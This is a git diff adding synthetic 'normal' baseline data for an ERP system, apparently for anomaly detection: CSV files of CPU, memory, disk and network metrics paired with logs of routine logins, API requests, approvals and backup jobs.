erp-app[1751]: User 38 POST /api/v1/approvals/submit_batch body={'count': 48} status=200 OK '批量提交审批' +Jul 31 22:06:39 erp-app[7323]: WARN High DB query latency on 'financial_records' table during report generation. Latency: 472ms +Jul 31 22:06:42 erp-app[4123]: User 28 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:06:43 erp-app[1492]: User 5 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:06:44 erp-app[5818]: User 40 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:06:45 erp-app[7865]: User 37 POST /api/v1/approvals/submit_batch body={'count': 39} status=200 OK '批量提交审批' +Jul 31 22:06:46 erp-app[4841]: User 15 POST /api/v1/approvals/submit_batch body={'count': 28} status=200 OK '批量提交审批' +Jul 31 22:06:51 erp-app[4431]: User 3 POST /api/v1/reports/generate body={'type': '年度财务报表'} status=201 Created +Jul 31 22:06:57 erp-app[7224]: User 31 POST /api/v1/settlement/run status=202 Accepted '触发财务结算流程' +Jul 31 22:06:55 erp-app[2513]: WARN High DB query latency on 'financial_records' table during report generation. Latency: 162ms +Jul 31 22:07:04 erp-app[4601]: User 33 PUT /api/v1/ledgers/entry/15921 status=200 OK '更新账目' +Jul 31 22:07:01 erp-app[8112]: INFO Generating preview for '月度资产负债表'. User: 33 +Jul 31 22:07:07 erp-app[9719]: INFO Generating preview for '月度资产负债表'. User: 50 +Jul 31 22:07:12 erp-app[9493]: INFO Generating preview for '月度资产负债表'. User: 9 +Jul 31 22:07:12 erp-app[2652]: User 32 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:07:12 erp-app[7417]: User 41 GET /api/v1/approvals/pending status=200 OK '查询待审批列表' +Jul 31 22:07:16 erp-app[8877]: User 39 POST /api/v1/transactions/batch_upload status=202 Accepted +Jul 31 22:07:23 erp-app[9918]: User 42 PUT /api/v1/ledgers/entry/12823 status=200 OK '更新账目' +Jul 31 22:07:24 erp-app[9050]: INFO Generating preview for '月度资产负债表'. User: 37 +Jul 31 22:07:23 erp-app[2943]: INFO Generating preview for '月度资产负债表'. User: 20 +Jul 31 22:07:27 erp-app[3290]: User 18 PUT /api/v1/ledgers/entry/15105 status=200 OK '更新账目' diff --git a/norm_dataset/scenario_9/norm_9_20.csv b/norm_dataset/scenario_9/norm_9_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..aee21044e3ec523ddc5a7338eb595e4e0e16cec5 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,24.0,47.08,27.16,0.96,0.96 +2025-07-15T10:00:05Z,11.34,38.16,31.88,1.33,0.57 +2025-07-15T10:00:10Z,14.15,40.56,27.56,0.53,0.65 +2025-07-15T10:00:15Z,15.68,40.51,30.2,1.16,0.76 +2025-07-15T10:00:20Z,19.51,38.42,32.76,0.91,1.4 +2025-07-15T10:00:25Z,10.37,38.4,28.51,0.95,0.51 +2025-07-15T10:00:30Z,18.22,40.11,22.14,1.1,1.45 +2025-07-15T10:00:35Z,14.39,46.14,28.03,1.18,0.81 +2025-07-15T10:00:40Z,10.73,42.28,25.73,1.21,0.84 +2025-07-15T10:00:45Z,17.22,37.04,37.17,1.01,1.1 +2025-07-15T10:00:50Z,18.57,35.38,37.83,1.09,1.28 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b/norm_dataset/scenario_9/norm_9_20.log new file mode 100644 index 0000000000000000000000000000000000000000..e3718b33bbd9dd8d273eb22c364fccf63b738445 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_20.log @@ -0,0 +1,30 @@ +Jul 15 10:00:00 systemd[1]: Starting daily backup service... +Jul 15 10:00:10 erp-app[1892]: INFO User 159 created a new sales order #SO88908 +Jul 15 10:00:15 erp-app[1119]: INFO User 100 created a new sales order #SO84143 +Jul 15 10:00:40 erp-app[1286]: INFO User 131 viewed report 'Monthly Sales Summary' +Jul 15 10:01:00 erp-app[1843]: INFO User 146 updated inventory for product #P2638 +Jul 15 10:01:20 erp-app[1162]: INFO User 172 viewed report 'Monthly Sales Summary' +Jul 15 10:01:30 CRON[5579]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:01:40 erp-app[1878]: INFO User 154 created a new sales order #SO83191 +Jul 15 10:01:45 CRON[5677]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:02:00 systemd[1]: Starting daily backup service... +Jul 15 10:02:15 erp-app[1600]: GET /api/v1/inventory/P1828 status=200 OK +Jul 15 10:02:20 systemd[1]: Starting daily backup service... +Jul 15 10:02:30 erp-app[1009]: INFO User 100 viewed report 'Monthly Sales Summary' +Jul 15 10:02:50 erp-app[1853]: INFO User 111 created a new sales order #SO83899 +Jul 15 10:03:00 erp-app[1174]: POST /api/v1/orders status=201 Created +Jul 15 10:03:30 erp-app[1040]: INFO User 177 accessed customer records dashboard +Jul 15 10:03:45 erp-app[1543]: INFO User 164 viewed report 'Monthly Sales Summary' +Jul 15 10:04:00 erp-app[1783]: INFO User 180 updated inventory for product #P1368 +Jul 15 10:04:40 erp-app[1915]: GET /api/v1/inventory/P1413 status=200 OK +Jul 15 10:04:50 kubelet[2445]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:05:00 erp-app[1381]: GET /api/v1/inventory/P3181 status=200 OK +Jul 15 10:05:10 kubelet[2322]: INFO Liveness probe succeeded for pod erp-app-pod +Jul 15 10:05:15 erp-app[1805]: INFO User 179 accessed customer records dashboard +Jul 15 10:05:30 erp-app[1389]: INFO User 181 viewed report 'Monthly Sales Summary' +Jul 15 10:05:40 erp-app[1770]: INFO User 180 accessed customer records dashboard +Jul 15 10:05:50 erp-app[1182]: INFO User 140 updated inventory for product #P4772 +Jul 15 10:06:00 erp-app[1347]: INFO User 125 logged in from IP 192.168.4.106 +Jul 15 10:06:10 erp-app[1173]: INFO User 101 created a new sales order #SO87135 +Jul 15 10:06:40 erp-app[1895]: INFO User 148 logged in from IP 192.168.6.199 +Jul 15 10:07:00 systemd[1]: Starting daily backup service... diff --git a/norm_dataset/scenario_9/norm_9_21.csv b/norm_dataset/scenario_9/norm_9_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..da46240e873d8fe2fd1ac4955b48c02a781897da --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00.000Z,18.75,36.2,26.82,1.37,0.93 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new file mode 100644 index 0000000000000000000000000000000000000000..8ffeeebe2962466a00066cbd1b5e917c676be764 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_21.log @@ -0,0 +1,35 @@ +Jul 15 10:00:20 reporting-svc[3457]: INFO User 'frank' accessed customer account 'CUST-00752'. +Jul 15 10:00:25 erp-app[3458]: INFO System health check PASSED. +Jul 15 10:00:45 erp-app[3457]: INFO User 'bob' logged in successfully. +Jul 15 10:01:10 erp-app[3458]: INFO Request GET /api/v1/reports/financials status=200 +Jul 15 10:01:20 auth-svc[3458]: INFO User 'bob' approved expense report 'EXP-0625'. +Jul 15 10:01:35 reporting-svc[3457]: INFO Request POST /api/v1/invoices status=201 +Jul 15 10:01:50 reporting-svc[3457]: INFO User 'carol' submitted invoice 'INV-2025-747'. +Jul 15 10:01:55 auth-svc[3457]: WARN Login attempt failed for user 'guest'. +Jul 15 10:02:00 erp-app[3456]: INFO User 'bob' approved expense report 'EXP-0823'. +Jul 15 10:02:05 reporting-svc[3458]: INFO User 'frank' accessed customer account 'CUST-00489'. +Jul 15 10:02:35 erp-app[3457]: INFO Request POST /api/v1/invoices status=201 +Jul 15 10:02:45 erp-app[3457]: WARN Login attempt failed for user 'guest'. +Jul 15 10:03:00 erp-app[3456]: INFO User 'david' approved expense report 'EXP-0610'. +Jul 15 10:03:05 auth-svc[3456]: INFO Request GET /api/v1/reports/financials status=200 +Jul 15 10:03:35 erp-app[3456]: INFO User 'bob' approved expense report 'EXP-0150'. +Jul 15 10:03:40 reporting-svc[3458]: INFO User 'bob' logged in successfully. +Jul 15 10:03:45 reporting-svc[3456]: INFO User 'david' generated report 'Quarterly_Sales.pdf'. +Jul 15 10:04:10 reporting-svc[3457]: INFO Request POST /api/v1/invoices status=201 +Jul 15 10:04:50 reporting-svc[3456]: INFO User 'emma' generated report 'Quarterly_Sales.pdf'. +Jul 15 10:05:00 erp-app[3456]: INFO Request POST /api/v1/invoices status=201 +Jul 15 10:05:25 erp-app[3457]: WARN Login attempt failed for user 'guest'. +Jul 15 10:05:30 auth-svc[3458]: INFO User 'bob' accessed customer account 'CUST-00762'. +Jul 15 10:05:45 auth-svc[3458]: INFO User 'bob' submitted invoice 'INV-2025-294'. +Jul 15 10:05:55 erp-app[3457]: INFO User 'david' accessed customer account 'CUST-00888'. +Jul 15 10:06:00 erp-app[3456]: INFO Request GET /api/v1/reports/financials status=200 +Jul 15 10:06:10 reporting-svc[3456]: INFO User 'bob' generated report 'Quarterly_Sales.pdf'. +Jul 15 10:06:15 auth-svc[3457]: INFO User 'bob' approved expense report 'EXP-0313'. +Jul 15 10:06:20 erp-app[3456]: INFO User 'carol' logged in successfully. +Jul 15 10:06:45 reporting-svc[3457]: INFO Request POST /api/v1/invoices status=201 +Jul 15 10:06:50 auth-svc[3457]: INFO User 'david' accessed customer account 'CUST-00722'. +Jul 15 10:07:00 auth-svc[3458]: INFO User 'carol' generated report 'Quarterly_Sales.pdf'. +Jul 15 10:07:05 reporting-svc[3458]: INFO User 'frank' approved expense report 'EXP-0127'. +Jul 15 10:07:10 erp-app[3456]: INFO Request POST /api/v1/invoices status=201 +Jul 15 10:07:15 auth-svc[3456]: INFO User 'emma' approved expense report 'EXP-0493'. +Jul 15 10:07:25 erp-app[3458]: INFO Request GET /api/v1/reports/financials status=200 diff --git a/norm_dataset/scenario_9/norm_9_22.csv b/norm_dataset/scenario_9/norm_9_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..af9eba256462110bf90b79d9dd45cf9c6a223cfd --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_22.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.24,40.29,33.13,1.43,1.0 +2025-07-15T10:00:05Z,14.65,42.91,25.71,0.57,1.21 +2025-07-15T10:00:10Z,16.62,37.89,24.65,1.35,0.88 +2025-07-15T10:00:15Z,18.81,39.02,32.41,1.0,0.98 +2025-07-15T10:00:20Z,14.41,38.82,28.88,0.71,1.04 +2025-07-15T10:00:25Z,14.41,35.61,33.57,1.14,0.82 +2025-07-15T10:00:30Z,18.95,40.89,32.37,1.06,0.94 +2025-07-15T10:00:35Z,16.92,40.78,29.64,0.82,0.9 +2025-07-15T10:00:40Z,13.83,40.02,25.77,1.02,0.92 +2025-07-15T10:00:45Z,16.36,39.3,22.43,0.88,0.75 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a/norm_dataset/scenario_9/norm_9_22.log b/norm_dataset/scenario_9/norm_9_22.log new file mode 100644 index 0000000000000000000000000000000000000000..c3602a0b1bb64b02dbe7349a044a63aba54a99fd --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_22.log @@ -0,0 +1,90 @@ +Jul 15 10:00:00 erp-server-1 web-app[2234]: INFO GET /api/v1/invoices?page=19 user='charlie' status=200 OK +Jul 15 10:00:05 erp-server-1 web-app[2234]: DEBUG DB query executed in 5ms: SELECT * FROM customers WHERE id = 232 +Jul 15 10:00:10 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:00:15 erp-server-1 web-app[2234]: INFO User 'edward' updated profile settings. +Jul 15 10:00:20 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:00:25 erp-server-1 web-app[2234]: INFO User 'charlie' logged in successfully from ip 192.168.1.13 +Jul 15 10:00:30 erp-server-1 web-app[2234]: INFO User 'diana' updated profile settings. +Jul 15 10:00:35 erp-server-1 web-app[2234]: INFO User 'charlie' updated profile settings. +Jul 15 10:00:40 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' completed successfully. +Jul 15 10:00:45 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:00:50 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' started. +Jul 15 10:00:55 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:01:00 erp-server-1 web-app[2234]: INFO GET /api/v1/dashboard user='diana' status=200 OK +Jul 15 10:01:05 erp-server-1 web-app[2234]: INFO GET /api/v1/approval/queue user='charlie' status=200 OK +Jul 15 10:01:10 erp-server-1 web-app[2234]: INFO POST /api/v1/transaction/new user='bob' status=201 Created +Jul 15 10:01:15 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:01:20 erp-server-1 web-app[2234]: INFO POST /api/v1/transaction/new user='charlie' status=201 Created +Jul 15 10:01:25 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:01:30 erp-server-1 web-app[2234]: INFO GET /api/v1/reports/quarterly user='diana' status=200 OK +Jul 15 10:01:35 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:01:40 erp-server-1 web-app[2234]: DEBUG DB query executed in 23ms: SELECT * FROM customers WHERE id = 311 +Jul 15 10:01:45 erp-server-1 web-app[2234]: INFO User 'diana' logged in successfully from ip 192.168.1.10 +Jul 15 10:01:50 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' started. +Jul 15 10:01:55 erp-server-1 web-app[2234]: INFO User 'bob' logged in successfully from ip 192.168.1.17 +Jul 15 10:02:00 erp-server-1 web-app[2234]: INFO GET /api/v1/approval/queue user='bob' status=200 OK +Jul 15 10:02:05 erp-server-1 web-app[2234]: DEBUG DB query executed in 15ms: SELECT * FROM customers WHERE id = 498 +Jul 15 10:02:10 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:02:15 erp-server-1 web-app[2234]: DEBUG DB query executed in 16ms: SELECT * FROM customers WHERE id = 134 +Jul 15 10:02:20 erp-server-1 web-app[2234]: INFO User 'diana' logged in successfully from ip 192.168.1.17 +Jul 15 10:02:25 erp-server-1 web-app[2234]: INFO GET /api/v1/approval/queue user='charlie' status=200 OK +Jul 15 10:02:30 erp-server-1 web-app[2234]: INFO GET /api/v1/reports/quarterly user='bob' status=200 OK +Jul 15 10:02:35 erp-server-1 web-app[2234]: INFO GET /api/v1/dashboard user='charlie' status=200 OK +Jul 15 10:02:40 erp-server-1 web-app[2234]: INFO User 'alice' logged in successfully from ip 192.168.1.10 +Jul 15 10:02:45 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:02:50 erp-server-1 web-app[2234]: INFO GET /api/v1/invoices?page=10 user='charlie' status=200 OK +Jul 15 10:02:55 erp-server-1 web-app[2234]: INFO User 'diana' logged in successfully from ip 192.168.1.16 +Jul 15 10:03:00 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:03:05 erp-server-1 web-app[2234]: INFO GET /api/v1/dashboard user='bob' status=200 OK +Jul 15 10:03:10 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' started. +Jul 15 10:03:15 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:03:20 erp-server-1 web-app[2234]: INFO GET /api/v1/reports/quarterly user='charlie' status=200 OK +Jul 15 10:03:25 erp-server-1 web-app[2234]: INFO GET /api/v1/reports/quarterly user='charlie' status=200 OK +Jul 15 10:03:30 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' started. +Jul 15 10:03:35 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:03:40 erp-server-1 web-app[2234]: INFO POST /api/v1/transaction/new user='edward' status=201 Created +Jul 15 10:03:45 erp-server-1 web-app[2234]: INFO User 'alice' updated profile settings. +Jul 15 10:03:50 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:03:55 erp-server-1 web-app[2234]: INFO POST /api/v1/transaction/new user='alice' status=201 Created +Jul 15 10:04:00 erp-server-1 web-app[2234]: DEBUG DB query executed in 14ms: SELECT * FROM customers WHERE id = 412 +Jul 15 10:04:05 erp-server-1 web-app[2234]: DEBUG DB query executed in 29ms: SELECT * FROM customers WHERE id = 189 +Jul 15 10:04:10 erp-server-1 web-app[2234]: INFO GET /api/v1/reports/quarterly user='bob' status=200 OK +Jul 15 10:04:15 erp-server-1 web-app[2234]: INFO User 'charlie' logged in successfully from ip 192.168.1.12 +Jul 15 10:04:20 erp-server-1 web-app[2234]: INFO User 'alice' logged in successfully from ip 192.168.1.15 +Jul 15 10:04:25 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' completed successfully. +Jul 15 10:04:30 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' started. +Jul 15 10:04:35 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' completed successfully. +Jul 15 10:04:40 erp-server-1 web-app[2234]: INFO User 'edward' logged in successfully from ip 192.168.1.17 +Jul 15 10:04:45 erp-server-1 web-app[2234]: INFO GET /api/v1/invoices?page=17 user='bob' status=200 OK +Jul 15 10:04:50 erp-server-1 web-app[2234]: INFO GET /api/v1/invoices?page=8 user='diana' status=200 OK +Jul 15 10:04:55 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' completed successfully. +Jul 15 10:05:00 erp-server-1 web-app[2234]: INFO GET /api/v1/dashboard user='diana' status=200 OK +Jul 15 10:05:05 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:05:10 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:05:15 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:05:20 erp-server-1 web-app[2234]: INFO GET /api/v1/reports/quarterly user='diana' status=200 OK +Jul 15 10:05:25 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' completed successfully. +Jul 15 10:05:30 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' completed successfully. +Jul 15 10:05:35 erp-server-1 web-app[2234]: INFO GET /api/v1/approval/queue user='bob' status=200 OK +Jul 15 10:05:40 erp-server-1 web-app[2234]: INFO User 'bob' updated profile settings. +Jul 15 10:05:45 erp-server-1 web-app[2234]: DEBUG DB query executed in 39ms: SELECT * FROM customers WHERE id = 441 +Jul 15 10:05:50 erp-server-1 web-app[2234]: INFO GET /api/v1/approval/queue user='alice' status=200 OK +Jul 15 10:05:55 erp-server-1 web-app[2234]: INFO User 'bob' logged in successfully from ip 192.168.1.12 +Jul 15 10:06:00 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:06:05 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' started. +Jul 15 10:06:10 erp-server-1 web-app[2234]: DEBUG DB query executed in 25ms: SELECT * FROM customers WHERE id = 141 +Jul 15 10:06:15 erp-server-1 web-app[2234]: INFO POST /api/v1/transaction/new user='alice' status=201 Created +Jul 15 10:06:20 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:06:25 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:06:30 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:06:35 erp-server-1 web-app[2234]: INFO User 'bob' updated profile settings. +Jul 15 10:06:40 erp-server-1 web-app[2234]: DEBUG DB query executed in 44ms: SELECT * FROM customers WHERE id = 110 +Jul 15 10:06:45 erp-server-1 web-app[2234]: INFO POST /api/v1/transaction/new user='alice' status=201 Created +Jul 15 10:06:50 erp-server-1 web-app[2234]: INFO GET /api/v1/dashboard user='edward' status=200 OK +Jul 15 10:06:55 erp-server-1 web-app[2234]: INFO POST /api/v1/transaction/new user='charlie' status=201 Created +Jul 15 10:07:00 erp-server-1 web-app[2234]: INFO GET /api/v1/reports/quarterly user='bob' status=200 OK +Jul 15 10:07:05 erp-server-1 systemd[1]: Starting daily backup service... +Jul 15 10:07:10 erp-server-1 systemd[1]: Daily backup service finished. +Jul 15 10:07:15 erp-server-1 web-app[2234]: INFO GET /api/v1/approval/queue user='charlie' status=200 OK +Jul 15 10:07:20 erp-server-1 web-app[2234]: DEBUG DB query executed in 14ms: SELECT * FROM customers WHERE id = 156 +Jul 15 10:07:25 erp-server-1 worker[3345]: INFO Background job 'send_email_notifications' completed successfully. diff --git a/norm_dataset/scenario_9/norm_9_23.csv b/norm_dataset/scenario_9/norm_9_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..1ff422c2fd602504a47d52fc6cbd83ce71d969d0 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,18.66,33.18,33.64,1.16,0.64 +2025-07-15T10:00:05Z,13.25,40.33,40.43,0.9,0.9 +2025-07-15T10:00:10Z,8.56,36.32,28.86,1.12,1.12 +2025-07-15T10:00:15Z,16.77,41.94,21.92,0.84,0.82 +2025-07-15T10:00:20Z,15.99,41.64,28.02,0.99,0.72 +2025-07-15T10:00:25Z,11.36,40.65,24.08,1.27,0.53 +2025-07-15T10:00:30Z,16.4,38.09,35.59,0.83,0.71 +2025-07-15T10:00:35Z,19.97,41.02,33.8,0.88,0.67 +2025-07-15T10:00:40Z,15.24,37.77,33.69,0.78,0.64 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+2025-07-15T10:07:25Z,16.62,34.37,29.45,0.9,0.56 diff --git a/norm_dataset/scenario_9/norm_9_23.log b/norm_dataset/scenario_9/norm_9_23.log new file mode 100644 index 0000000000000000000000000000000000000000..9fe3dad31544ef55eec5e34e10a8c605d4f8f54f --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_23.log @@ -0,0 +1,39 @@ +Jul 15 10:00:15 erp-backend[1122]: INFO User 33 updated inventory for product PROD-1943 +Jul 15 10:00:16 erp-backend[1122]: INFO User 26 submitted an expense claim for approval. +Jul 15 10:00:39 api-gateway[3344]: GET /api/v1/customers/157 status=200 OK +Jul 15 10:01:02 erp-backend[1122]: INFO User 41 created a new sales order #9481 +Jul 15 10:01:13 erp-backend[1122]: INFO User 21 logged in from IP 192.168.6.141 +Jul 15 10:01:18 erp-backend[1122]: INFO User 24 updated inventory for product PROD-1377 +Jul 15 10:01:29 systemd[1]: Daily backup service finished successfully. +Jul 15 10:01:40 erp-backend[1122]: INFO User 12 logged in from IP 192.168.6.103 +Jul 15 10:01:41 erp-backend[1122]: INFO User 23 updated inventory for product PROD-1304 +Jul 15 10:02:02 api-gateway[3344]: GET /api/v1/customers/188 status=200 OK +Jul 15 10:03:00 api-gateway[3344]: GET /api/v1/dashboard status=200 OK +Jul 15 10:03:07 systemd[1]: Starting daily backup service... +Jul 15 10:03:20 erp-backend[1122]: INFO User 11 updated inventory for product PROD-1975 +Jul 15 10:03:24 api-gateway[3344]: GET /api/v1/dashboard status=200 OK +Jul 15 10:03:48 erp-backend[1122]: INFO User 35 submitted an expense claim for approval. +Jul 15 10:04:07 erp-backend[1122]: INFO User 41 accessed the main dashboard +Jul 15 10:04:38 erp-backend[1122]: INFO User 26 created a new sales order #9468 +Jul 15 10:04:45 erp-backend[1122]: INFO User 12 logged in from IP 192.168.6.165 +Jul 15 10:04:50 erp-backend[1122]: INFO User 16 submitted an expense claim for approval. +Jul 15 10:04:54 erp-backend[1122]: INFO User 29 created a new sales order #9036 +Jul 15 10:04:55 api-gateway[3344]: GET /api/v1/customers/167 status=200 OK +Jul 15 10:04:56 api-gateway[3344]: GET /api/v1/dashboard status=200 OK +Jul 15 10:04:59 erp-backend[1122]: INFO User 37 updated inventory for product PROD-1108 +Jul 15 10:05:00 api-gateway[3344]: GET /api/v1/dashboard status=200 OK +Jul 15 10:05:00 erp-backend[1122]: INFO User 26 generated a weekly "Sales Summary" report. +Jul 15 10:05:00 erp-backend[1122]: INFO User 41 generated a weekly "Sales Summary" report. +Jul 15 10:05:07 api-gateway[3344]: GET /api/v1/dashboard status=200 OK +Jul 15 10:05:43 erp-backend[1122]: INFO User 22 logged in from IP 192.168.10.176 +Jul 15 10:05:44 erp-backend[1122]: INFO User 14 accessed the main dashboard +Jul 15 10:05:56 systemd[1]: Daily backup service finished successfully. +Jul 15 10:06:11 api-gateway[3344]: GET /api/v1/customers/179 status=200 OK +Jul 15 10:06:19 erp-backend[1122]: INFO User 33 generated a weekly "Sales Summary" report. +Jul 15 10:06:33 erp-backend[1122]: INFO User 37 accessed the main dashboard +Jul 15 10:06:40 erp-backend[1122]: INFO User 50 updated inventory for product PROD-1823 +Jul 15 10:06:46 erp-backend[1122]: INFO User 25 accessed the main dashboard +Jul 15 10:06:50 api-gateway[3344]: POST /api/v1/orders status=201 Created +Jul 15 10:06:50 erp-backend[1122]: INFO User 28 generated a weekly "Sales Summary" report. +Jul 15 10:06:56 erp-backend[1122]: INFO User 29 submitted an expense claim for approval. +Jul 15 10:07:26 erp-backend[1122]: INFO User 30 accessed the main dashboard diff --git a/norm_dataset/scenario_9/norm_9_24.csv b/norm_dataset/scenario_9/norm_9_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..2109741476caa40de3338951de175cf941fde9a7 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,16.49,40.49,35.01,1.63,1.16 +2025-07-15T10:00:05Z,14.59,44.84,23.14,0.77,1.46 +2025-07-15T10:00:10Z,16.94,36.49,21.43,1.55,0.97 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+2025-07-15T10:06:55Z,13.45,41.71,21.8,1.15,0.97 +2025-07-15T10:07:00Z,12.57,41.38,27.98,1.19,0.61 +2025-07-15T10:07:05Z,13.49,44.14,20.02,0.9,1.2 +2025-07-15T10:07:10Z,17.75,40.07,43.06,1.19,1.11 +2025-07-15T10:07:15Z,15.99,47.27,18.56,1.11,0.72 +2025-07-15T10:07:20Z,13.41,38.68,26.48,1.3,0.85 +2025-07-15T10:07:25Z,16.54,53.6,31.05,0.95,0.68 diff --git a/norm_dataset/scenario_9/norm_9_24.log b/norm_dataset/scenario_9/norm_9_24.log new file mode 100644 index 0000000000000000000000000000000000000000..72427e6f5a58d2a61b227008ed1059e1b17903cc --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_24.log @@ -0,0 +1,90 @@ +Jul 15 10:00:00 erp-primary erp-app[1863]: INFO GET /api/v1/invoices/list?page=1 user_id=12 status=200 OK +Jul 15 10:00:05 erp-primary erp-app[1060]: INFO GET /api/v1/dashboard/main user_id=28 status=200 OK +Jul 15 10:00:10 erp-primary systemd[1]: Starting daily backup activities... +Jul 15 10:00:15 erp-primary erp-app[1232]: INFO GET /api/v1/customers/145 user_id=21 status=200 OK +Jul 15 10:00:20 erp-primary erp-app[1077]: INFO User 35 logged in successfully from IP 192.168.1.45 +Jul 15 10:00:25 erp-primary erp-app[1046]: INFO GET /api/v1/approval/pending user_id=31 status=200 OK +Jul 15 10:00:30 erp-primary CRON[6256]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:00:35 erp-primary erp-app[1624]: WARN Password for user 44 is about to expire. +Jul 15 10:00:40 erp-primary erp-app[1725]: WARN Password for user 23 is about to expire. +Jul 15 10:00:45 erp-primary erp-app[1385]: WARN Password for user 35 is about to expire. +Jul 15 10:00:50 erp-primary erp-app[1006]: INFO GET /api/v1/invoices/list?page=1 user_id=12 status=200 OK +Jul 15 10:00:55 erp-primary erp-app[1505]: INFO GET /api/v1/dashboard/main user_id=47 status=200 OK +Jul 15 10:01:00 erp-primary erp-app[1630]: INFO GET /api/v1/approval/pending user_id=46 status=200 OK +Jul 15 10:01:05 erp-primary erp-app[1272]: INFO GET /api/v1/approval/pending user_id=48 status=200 OK +Jul 15 10:01:10 erp-primary erp-app[1144]: INFO GET /api/v1/approval/pending user_id=22 status=200 OK +Jul 15 10:01:15 erp-primary systemd[1]: Starting daily backup activities... +Jul 15 10:01:20 erp-primary erp-app[1033]: INFO Generating weekly sales report for user 17 +Jul 15 10:01:25 erp-primary erp-app[1553]: INFO GET /api/v1/invoices/list?page=1 user_id=46 status=200 OK +Jul 15 10:01:30 erp-primary erp-app[1442]: INFO GET /api/v1/dashboard/main user_id=15 status=200 OK +Jul 15 10:01:35 erp-primary erp-app[1661]: INFO GET /api/v1/customers/681 user_id=30 status=200 OK +Jul 15 10:01:40 erp-primary erp-app[1349]: INFO POST /api/v1/inventory/update item_id=PROD-54321 user_id=20 status=201 Created +Jul 15 10:01:45 erp-primary erp-app[1822]: WARN Password for user 18 is about to expire. +Jul 15 10:01:50 erp-primary erp-app[1228]: WARN Password for user 45 is about to expire. +Jul 15 10:01:55 erp-primary erp-app[1467]: INFO GET /api/v1/dashboard/main user_id=37 status=200 OK +Jul 15 10:02:00 erp-primary erp-app[1117]: INFO Generating weekly sales report for user 39 +Jul 15 10:02:05 erp-primary erp-app[1846]: INFO GET /api/v1/dashboard/main user_id=20 status=200 OK +Jul 15 10:02:10 erp-primary erp-app[1325]: INFO GET /api/v1/customers/935 user_id=35 status=200 OK +Jul 15 10:02:15 erp-primary erp-app[1224]: INFO POST /api/v1/inventory/update item_id=PROD-54321 user_id=29 status=201 Created +Jul 15 10:02:20 erp-primary erp-app[1089]: INFO User 23 logged in successfully from IP 192.168.1.64 +Jul 15 10:02:25 erp-primary CRON[6672]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 15 10:02:30 erp-primary erp-app[1689]: INFO Generating weekly sales report for user 19 +Jul 15 10:02:35 erp-primary erp-app[1012]: INFO GET /api/v1/dashboard/main user_id=49 status=200 OK +Jul 15 10:02:40 erp-primary erp-app[1328]: INFO GET /api/v1/customers/649 user_id=26 status=200 OK +Jul 15 10:02:45 erp-primary erp-app[1580]: INFO User 23 logged in successfully from IP 192.168.1.117 +Jul 15 10:02:50 erp-primary erp-app[1929]: INFO GET /api/v1/approval/pending user_id=21 status=200 OK +Jul 15 10:02:55 erp-primary erp-app[1319]: WARN Password for user 